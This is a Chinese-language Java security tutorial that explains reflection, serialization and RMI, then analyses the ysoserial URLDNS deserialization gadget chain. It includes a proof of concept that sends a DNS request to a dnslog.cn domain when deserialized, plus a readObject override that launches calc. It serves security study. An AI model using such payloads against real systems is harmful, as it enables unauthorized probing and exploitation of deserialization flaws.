Java安全|URLDNS鏈利用分析
java反射機制
什么是java反射
Java反射機制是在運行狀態時,對于任意一個類,都能夠獲取到這個類的所有屬性和方法;對于任意一個對象,都能夠調用它的任意一個方法和屬性(包括私有的方法和屬性),這種動態獲取的信息以及動態調用對象的方法的功能就稱為java語言的反射機制。
看起來比較抽象,下面以代碼形式說明反射:
先創建一個Person類:
classPerson{
privateString name;
privateint age;
publicString toString(){
return"User{"+ "name="+ name + ", age"+ age +"}";
}
publicString getName(){
return name;
}
publicvoid setName(String name){
this.name =name;
}
publicint getAge(){
return age;
}
publicvoid setAge(int age){
this.age = age;
}
}
那么這里有一個類了,像上面說的,我們怎么獲得該類的方法或者屬性呢?
還是先來一個demo:下面的代碼是通過反射調用了Person類的setName方法。
publicclassReflection02{
publicstaticvoid main(String args[]) {
try{
Person person = newPerson();
Class clazz = person.getClass();
//Class clazz = org.sd.Person.class;
//Class clazz = Class.forName("org.sd.Person");
Method method = clazz.getMethod("setName", String.class);
method.invoke(person, "Tom");
System.out.println(person);
} catch(NoSuchMethodException e) {
e.printStackTrace();
} catch(InvocationTargetException e) {
e.printStackTrace();
} catch(IllegalAccessException e) {
e.printStackTrace();
}
}
}
運行結果為:
可以看到可以執行setName方法,并且是通過如下幾行代碼來實現的:
Person person = newPerson();
Class clazz = person.getClass();
Method method = clazz.getMethod("setName", String.class);
method.invoke(person, "Tom");
接下來讓我們分析一下這幾行代碼的含義。
三種方式可獲得Class類實例
1.getClass()函數:調用某個對象的getClass方法可獲得該類的Class類的實例。第二行代碼正是通過這種方式獲取到Class類的實例。2.forName()靜態方法:Class clazz = Class.forName("org.sd.Person");3.訪問某個類的class屬性,這個屬性就存儲著這個類對應的Class類的實例:Class clazz = org.sd.Person.class
上面介紹的三種方式皆可獲取到某個類的Class類的實例,只不過在demo中使用的是getClass方法。
獲取方法
Method類位于java.lang.reflect包下,在Java反射中Method類描述的是類的方法信息(包括:方法修飾符、方法名稱、參數列表等等)。
java中所有的方法都是Method類型,通過getMthod()方法可以獲得某一個Class實例的某一個方法。
//代碼第三行 clazz.getMethod(String name, Class[] params);//獲得類的特定方法,name參數指定方法的名字,params參數指定方法的參數類型
獲取方法的方式不止這一種,還有如下方法:
1.getMethods(): 獲得類的public類型的方法2.getDeclaredMethods(): 獲取類中所有的方法(public、protected、default、private)3.getDeclaredMethod(String name, Class[] params): 獲得類的特定方法,name參數指定方法的名字,params參數指定方法的參數類型
調用方法
Method類中有一個invoke方法,用來調用特定的方法,函數定義為:
publicObject invoke(Object obj, Object... args); //第一個參數是方法屬于的對象(如果是靜態方法,則可以直接傳 null) //第二個可變參數是該方法的參數
那么代碼第四行:實際上就是調用了person對象的setName方法,并傳入一個參數“Tom”給setName。
java反序列化
為什么需要序列化
提到反序列化,先需要了解序列化是什么。
問自己這樣一個問題:為什么需要序列化?我認為理解了為什么需要序列化也就明白了什么是序列化。
jvm一旦關閉,那么java中的對象也就銷毀了。假設程序員想要持久化儲存該對象或者在網絡上傳輸,怎么辦?就需要將這個對象寫入磁盤里,怎么寫?將一個對象進行序列化后寫入。時勢造英雄,正因為有這種需求,序列化應運而生了。
序列化:把對象轉換為字節序列 。
反序列化:把字節序列轉換為對象。
滿足序列化條件
并非每一個對象都是可序列化的。能夠序列化的對象有如下特征:
1.實現了java.io.Serializable接口。2.該類的所有屬性必須是可序列化的。
這里稍微細說一下,看一下Serializable接口
發現里面什么都沒寫,實際上Serializable接口僅僅作為一個標識。
接口沒有定義任何方法,它是一個空接口。我們把這樣的空接口稱為“標記接口”(Marker Interface),實現了標記接口的類僅僅是給自身貼了個“標記”。
如何序列化一個對象
要序列化一個對象,首先要創建OutputStream對象,再將其封裝在一個ObjectOutputStream對象內,接著只需調用writeObject()即可將對象序列化,并將其發送給OutputStream(對象是基于字節的,因此要使用InputStream和OutputStream來繼承層次結構)。
要反序列化出一個對象,需要將一個InputStream封裝在ObjectInputStream內,然后調用readObject()即可。
還是先上代碼:通過序列化將User("tony",18)這個實例序列化存儲(User.ser)后。又反序列化該文件獲取對象,并讀取該對象屬性。
@Test
publicvoid test2(){
User user = newUser("tony",18);
try{
//創建一個FileOutputStream,同時會創建一個User.ser文件
FileOutputStream fos = newFileOutputStream("./User.ser");
//將該FileOutputStream封裝到ObjectOutputStream中
ObjectOutputStream os = newObjectOutputStream(fos);
//調用writeObject方法,系列化對象到文件User.ser中
os.writeObject(user);
//序列化結束
System.out.println("讀取數據:");
//創建FileInputStream對象
FileInputStream fis = newFileInputStream("./user.ser");
//將FileInputStream封裝到ObjectInputStream
ObjectInputStreamis= newObjectInputStream(fis);
//調用readObject從user.ser中反序列化出對象。需要類型轉化,默認是object
User user1 = (User)is.readObject();
user1.info();
} catch(FileNotFoundException e) {
e.printStackTrace();
} catch(IOException e) {
e.printStackTrace();
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
}
}
classUserimplementsSerializable{
privateString name;
privateint age;
User(){
}
User(String name,int age){
this.name = name;
this.age = age;
}
publicString toString(){
return"User{"+ "name="+ name + ", age"+age+"}";
}
publicString getName(){
return name;
}
publicvoid setName(String name){
this.name =name;
}
publicint getAge(){
return age;
}
publicvoid setAge(int age){
this.age = age;
}
publicvoid info(){
System.out.println("Name: "+name+", Age: "+age);
}
//readObject重寫
// private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{
//System.out.println("[*]執行了自定義的readObject函數");
//Runtime.getRuntime().exec("calc");
//}
}
運行結果:

并且在上級目錄寫入了一個user.ser文件

使用liunx中的xxd命令可以看下他的內容

aced是java序列化的一個標志,聲明了該文件為序列化后的文件。像pe文件的4d5a一樣,是說明該文件類型的標志。
0005是序列化協議版本。
反序列化可能帶來的危害
java中執行系統命令的方式:
publicclassExecTest{
publicstaticvoid main(String[] args) throwsException{
Runtime.getRuntime().exec("calc");
}
}
注意上一小節代碼最后幾行的注釋部分,現在取消注釋,重新運行代碼:

發現執行了命令,運行了計算器。
也就是當readObject()方法被重寫的的話,反序列化該類時調用便是重寫后的readObject()方法。如果該方法書寫不當的話就有可能引發惡意代碼的執行。
RMI
什么是RMI
RMI全稱是Remote Method Invocation,遠程?法調?,在Java在JDK1.2中實現。能夠讓在客戶端Java虛擬機上的對象像調用本地對象一樣調用服務端Java虛擬機中的對象上的方法。客戶端比如說是在手機,然后服務端是在電腦;同時都有java環境,然后手機端調用電腦端那邊的某個方法。
RMI依賴的默認通信協議為JRMP(Java Remote Message Protocol ,Java 遠程消息交換協議),這是運行在Java RMI之下、TCP/IP之上的線路層協議。該協議為Java定制,要求服務端與客戶端都為Java編寫。這個協議就像HTTP協議一樣,規定了客戶端和服務端通信要滿足的規范。在RMI傳輸過程中,對象實際上就是通過序列化方式進行編碼傳輸的。(等會兒驗證)
RMI分為三個主體部分:
?Client-客戶端:客戶端調用服務端的方法?Server-服務端:遠程調用方法對象的提供者,也是代碼真正執行的地方,執行結束會返回給客戶端一個方法執行的結果。?Registry-注冊中心:用于客戶端查詢要調用的方法的引用。
RMI遠程調用方法為:
1.客戶調用客戶端輔助對象stub上的方法2.客戶端輔助對象stub打包調用信息(變量,方法名),通過網絡發送給服務端輔助對象skeleton3.服務端輔助對象skeleton將客戶端輔助對象發送來的信息解包,找出真正被調用的方法以及該方法所在對象4.調用真正服務對象上的真正方法,并將結果返回給服務端輔助對象skeleton5.服務端輔助對象將結果打包,發送給客戶端輔助對象stub6.客戶端輔助對象將返回值解包,返回給調用者7.客戶獲得返回值
實現一個RMI
先實現一個接口繼承java.rmi.Remote
publicinterfaceIRemoteHelloWorldextendsRemote{
publicString hello() throws java.rmi.RemoteException;
}
注冊中心
publicclassRegistry{
publicstaticvoid main(String[] args){
try{
LocateRegistry.createRegistry(1099);
} catch(RemoteException e) {
e.printStackTrace();
}
while(true);
}
}
服務端
繼承UnicastRemoteObject類,并實現上面定義的接口。將Server類實例化后綁定到注冊中心注冊的地址。
publicclassRMIServerextendsUnicastRemoteObjectimplementsIRemoteHelloWorld{
publicRMIServer() throwsRemoteException{
}
publicString sayhello() throwsRemoteException{
System.out.println("Hello,Server");
return"Hello,Client";
}
privatevoid start() throwsException{
RMIServer rmiServer = newRMIServer();
LocateRegistry.getRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", rmiServer);
}
publicstaticvoid main(String[] args) throwsException{
newRMIServer().start();
}
}
客戶端
publicclassRMIClient{
publicstaticvoid main(String[] args) throwsMalformedURLException, NotBoundException, RemoteException{
IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://172.20.10.5:1099/Hello");
String ret = iRemoteHelloWorld.sayhello();
System.out.println(ret);
}
}
先運行注冊中心代碼,然后啟動Server,Client即可。
可以看到客戶端可以調用服務端的方法,方法在服務端執行,并將結果返回給客戶端。
上面剛剛說RMI是通過序列化在網絡間傳輸,下面通過抓包證實。
經過兩次TCP握手。第一次連接服務端(注冊中心)的1099端口,之后向服務端(注冊中心)發送了一個Call,這個Call就對應著Client在Registry中尋找Name是Hello的對象。
顯然aced是java序列化的標志,說明了是通過序列化方式進行傳輸。
然后服務端(注冊中心)給客戶端發送了一個ReturnData,這個ReturnData就對應著Name為Hello的對象。然后與一個新的端口49791進行第二次的TCP握手連接。
這個端口并不是無跡可尋,就存在ReturnData中。

0x0000c27f反序列化后為49791。
連接到服務端的49791端口才算真正的連接到服務端,此時客戶端才能調用服務端的hello方法。
RMI Registry就像?個?關,他??是不會執?遠程?法的,但RMI Server可以在上?注冊?個Name 到對象的綁定關系;RMI Client通過Name向RMI Registry查詢,得到這個綁定關系,然后再連接RMI Server;最后,遠程?法實際上在RMI Server上調?。
URLDNS鏈學習
URLDNS 就是ysoserial中?個利?鏈的名字,但準確來說,這個其實不能稱作“利?鏈”。因為其參數不 是?個可以“利?”的命令,?僅為?個URL,其能觸發的結果也不是命令執?,?是?次DNS請求。
由于URLDNS不需要依賴第三方的包,同時不限制jdk的版本,所以通常用于檢測反序列化的點。
URLDNS并不能執行命令,只能發送DNS請求。
首先去看看這個鏈的payload長什么樣子。去github上下載源碼:ysoserial/URLDNS.java at master · frohoff/ysoserial · GitHub
publicclass URLDNS implementsObjectPayload<Object> {
publicObject getObject(finalString url) throwsException{
//Avoid DNS resolution during payload creation
//Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
URLStreamHandler handler = newSilentURLStreamHandler();
HashMap ht = newHashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
publicstaticvoid main(finalString[] args) throwsException{
PayloadRunner.run(URLDNS.class, args);
}
/**
*
This instance of URLStreamHandleris used to avoid any DNS resolution while creating the URL instance.* DNS resolution is used for vulnerability detection. Itis important not to probe the given URL prior* using the serialized object.
*
* Potentialfalse negative:
*
If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the* second resolution.
*/
staticclassSilentURLStreamHandlerextendsURLStreamHandler{
protectedURLConnection openConnection(URL u) throwsIOException{
returnnull;
}
protectedsynchronizedInetAddress getHostAddress(URL u) {
returnnull;
}
}
}
在這些代碼上面還有一些說明,英語不好也就不翻譯了,同時提到的還有該利用鏈:
GadgetChain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
payload中有許多注釋,可以通過這些注釋更好地理解。
由于利用鏈用到了HashMap,就簡單回康師傅那里復習一下,這里簡單介紹一下
Map是一個集合,本質上還是數組,HashMap是Map的子接口。該集合的結構為key-->value,兩個一起稱為一個Entry(jdk7),在jdk8中底層的數組為Node[]。當new HashMap()時,在jdk7中會直接創建一個長度為16的數組;jdk8中并不直接創建,而是在調用put方法時才去創建一個長度為16的數組。
下面的分析在jdk8中完成,我認為至少要了解HashMap的基本結構,key--->value
URLDNS分析
利用鏈說了是從HashMap.readObject()開始,那就根據提供的利用鏈,一層一層進入。先找到HashMap.readObject():
privatevoid readObject(java.io.ObjectInputStream s)
throwsIOException, ClassNotFoundException{
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if(loadFactor <= 0|| Float.isNaN(loadFactor))
thrownewInvalidObjectException("Illegal load factor: "+
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if(mappings < 0)
thrownewInvalidObjectException("Illegal mappings count: "+
mappings);
elseif(mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node[] tab = (Node[])newNode[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for(int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
可以看到hashmap是重寫了readObject方法,由于利用鏈第二個調用的函數是HashMap.putVal(),其中參數又調用HashMap.hash(),跟入到hash方法。在該方法中看到了hashCode方法的調用。

這里調用hashCode的對象為Object,實際傳入值的時候,該對象會變成java.net.URL,所以實際上調用的是URL的hashcode方法。
publicsynchronizedint hashCode() {
if(hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
如果hashCode的值為-1,那么將執行handler的hashCode方法,跟入該方法

繼續跟入java.net.URLStreamHandler的hashcode方法。
在該方法中,調用了getHostAddress,通過注釋可以看到要通過DNS查詢主機的ip。

其實到這里就可以結束了,要想繼續的話就在跟一層。

通過InetAddress.getByName函數注釋可以看到:如果輸入的參數是主機名則查詢ip,這就有一次dns查詢。
所以可以使用dnslog查看是否有dns日志,如果有則說明執行了被重寫后的readObject函數,那么也證明了存在可反序列化的點。
但是到這里,我總感覺還是有一些地方沒搞清除,回到URLDNS。

這里通過注釋可以看到:避免payload生成期間有DNS查詢。跟一下SilentURLStreamHandler類,發現他是繼承URLStreamHandler,并且重寫了openConnection和getHostAddress方法,openConnection方法是一個抽象方法所以必須重寫,重寫getHostAddress則是為了防?在?成Payload的時候也執?了URL請求和DNS查詢。執行getHostAddress時直接返回null,避免進一步調用getByName()。
當我視圖說服自己時,發現這里還有一個問題:為什么要防?在?成Payload的時候也執?了URL請求和DNS查詢。
回到hashMap.readObject方法
hash方法中參數key的來源為readObject讀取出的,那么意味著在序列化WriteObject方法時就已經將這個值寫入。
跟進hashMap.WriteObject()
跟入internalWriteEntries,可以看到這里寫入的key為tab數組中抽出來的,而tab的值即HashMap中table的值。
想要修改table的值,就需要調用HashMap.put()方法。
但是HashMap.put()方法是會觸發一次dns請求的,這就解釋了為什么需要防?在?成Payload的時候也執?了URL請求和DNS查詢的問題。但這并不是必須的。
除了重寫getHostAddress方法這里還有一個辦法,看到URL.hashCode()
如果設置hashCode的值不為-1,那么將無法進入到URLStreamHandler.hashCode()函數中,也就無法執行DNS查詢。
那么這下大致就理清楚了,gadget為:
1.HashMap->readObject()2.HashMap->hash()3.URL->hashCode()4.URLStreamHandler->hashCode()5.URLStreamHandler->getHostAddress()6.InetAddress->getByName()
最后還是復現一下。一個簡單的POC:
publicclassUrlDemo{
publicstaticvoid main(String[] args) throwsException{
HashMap map = newHashMap();
URL url = new URL("http://5i6qar.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); // 繞過Java語言權限控制檢查的權限
f.set(url,123); //設置hashCode的值不為-1,無法進行DNS查詢
map.put(url,"Tom");
f.set(url,-1); //保證反序列化時可以進行DNS查詢
try{
FileOutputStream fileOutputStream = newFileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = newObjectOutputStream(fileOutputStream);
outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = newFileInputStream("./urldns.ser");
ObjectInputStream inputStream = newObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}
catch(Exception e){
e.printStackTrace();
}
}
}

推薦閱讀
java安全漫談反射篇(1)
java安全漫談RMI篇(1)
javasec
https://github.com/Maskhe/javasec
Java安全之反序列化篇
https://paper.seebug.org/1242/
